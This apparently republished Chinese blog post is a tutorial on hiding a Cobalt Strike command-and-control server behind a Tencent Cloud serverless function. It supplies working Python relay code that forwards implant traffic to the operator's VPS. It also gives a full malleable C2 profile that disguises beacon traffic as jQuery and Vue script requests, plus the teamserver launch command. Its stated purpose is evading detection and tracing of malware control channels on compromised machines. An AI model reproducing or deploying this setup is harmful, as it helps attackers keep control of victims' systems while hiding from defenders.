云函数隐藏c2服务器

Posted asdasd12313wqe

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了云函数隐藏c2服务器相关的知识,希望对你有一定的参考价值。

云函数隐藏C2服务器 (有手就能配置)

0x01 前言

自己踩到的坑点主要就是
1、上线地址要去掉http://和:80

基于CS,隐藏C2服务器的手法有很多,常见如下:

  • 域前置
  • CDN
  • 第三方代理软件(heroku)
  • 云函数

记录一下利用腾讯云的云函数隐藏C2服务器。

壁画不多说直接开始…

0x02环境配置

需要准备:

  • 注册腾讯云账号
  • vps一台
  • cs(我用的4.3)

1、登陆腾讯云控制台,输入云函数

2、新建函数服务

3、函数名称随意,选择从头开始,环境填Python3.6,选完后下拉,把代码搞里头。

4、打码的地方填vps的地址(代码在下面),填完点完成,后会弹出一个提示框点击 留在此页面

C2地址的地方少掉了一个单引号,当时测试的时候也是一直不上线,最后排查的时候找到了。

  • 云函数的Python代码
# -*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context):
    C2='http://<C2服务器地址>' # 这里可以使用 HTTP、HTTPS~下角标~
    path=event['path']
    headers=event['headers']
    print(event)
    if event['httpMethod'] == 'GET' :
        resp=requests.get(C2+path,headers=headers,verify=False) 
    else:
        resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
        print(resp.headers)
        print(resp.content)

    response=
        "isBase64Encoded": True,
        "statusCode": resp.status_code,
        "headers": dict(resp.headers),
        "body": str(base64.b64encode(resp.content))[2:-1]
    
    return response

5、点击触发管理,创建触发器

6、配置如下,点击提交

7、点击api服务名

8、点击编辑后到达此页面,路径修改为/ ,点击下一步

9、配置如下 点击完成 后点击 发布服务

10、配置cs的profile文件

set sample_name "kris_abao";

set sleeptime "3000";
set jitter    "0";
set maxdns    "255";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/96.0.4664.110 Safari/537.36";

https-certificate 


    set keystore "cobaltStrike.store"; //生成的cs证书名
    set password "123456";    //自己设置的密码

    ## Option 3) Cobalt Strike Self-Signed Certificate
    set C   "US";
    set CN  "jquery.com";
    set O   "jQuery";
    set OU  "Certificate Authority";
    set validity "365";


http-get 


    set uri "/api/getit";

    client 
        header "Accept" "*/*";
        metadata 
            base64;
            prepend "SESSIONID=";
            header "Cookie";
        
    

    server 
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Server" "Nodejs";
        output 
            base64;
            print;
        
    

http-stager 
  
    set uri_x86 "/vue.min.js";
    set uri_x64 "/bootstrap-2.min.js";

http-post 
    set uri "/api/postit";
    client 
        header "Accept" "*/*";
        id 
            base64;
            prepend "JSESSION=";
            header "Cookie";
        
        output 
            base64;
            print;
        
    

    server 
    
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Connection" "keep-alive";
        output 
            base64;
            print;
        
    

11、开启cs teamserver ./teamserver vpsip password c2.profile

12、上线地址 需要去掉http:// 和 :80

取service-miuk9icj-1309081727.bj.apigw.tencentcs.com

13、创建监听

14、上线成功

可以看到上线的地址就是腾讯云,成功隐藏c2服务器。配置完后可以自己wireshark抓包看一下被控机器是否再跟腾讯云的ip地址通信。

0x03 总结

借鉴一下大佬的原理

  • 云函数隐藏C2原理

马 -> 腾讯云函数api -> py函数 -> CS服务端

CS马被执行后,流量直接走向腾讯云的api(也就是这一步达成了隐藏C2服务端的目的,腾讯地址,有腾讯的CDN),然后py函数会根据传入的流量作为中间人对CS服务端进行请求,并获取返回结果后返回请求获取的数据信息(py代码的请求内容和CS服务端加载的profile是相对应的,CS服务端根据py函数传入的数据来获取相关信息)

0x04 help!!

之前尝试域前置,用cloudflare的cdn做,只做成功HTTP的,隐藏自己的C2服务器,想做https的但最后就是不能上线,不知道为啥,有知道的大佬可以告诉我一下,谢谢谢谢!

参考文章:https://xz.aliyun.com/t/10764#toc-3

以上是关于云函数隐藏c2服务器的主要内容,如果未能解决你的问题,请参考以下文章

隐藏你的C2(使用域前置技术隐藏C2服务器,以及使用iptables策略来保护服务器)

【防溯源】如何通过域名 + CDN 完美隐藏你的 C2

腾讯云1C2G虚拟机优惠再袭:10元/月,买3个月送1个月

Domain Borrowing: 一种基于CDN的新型隐蔽通信方法(全程干货!)

腾讯云新活动:1C2G服务器16个月120大洋,不是学生也能参加

CS云函数及上线提醒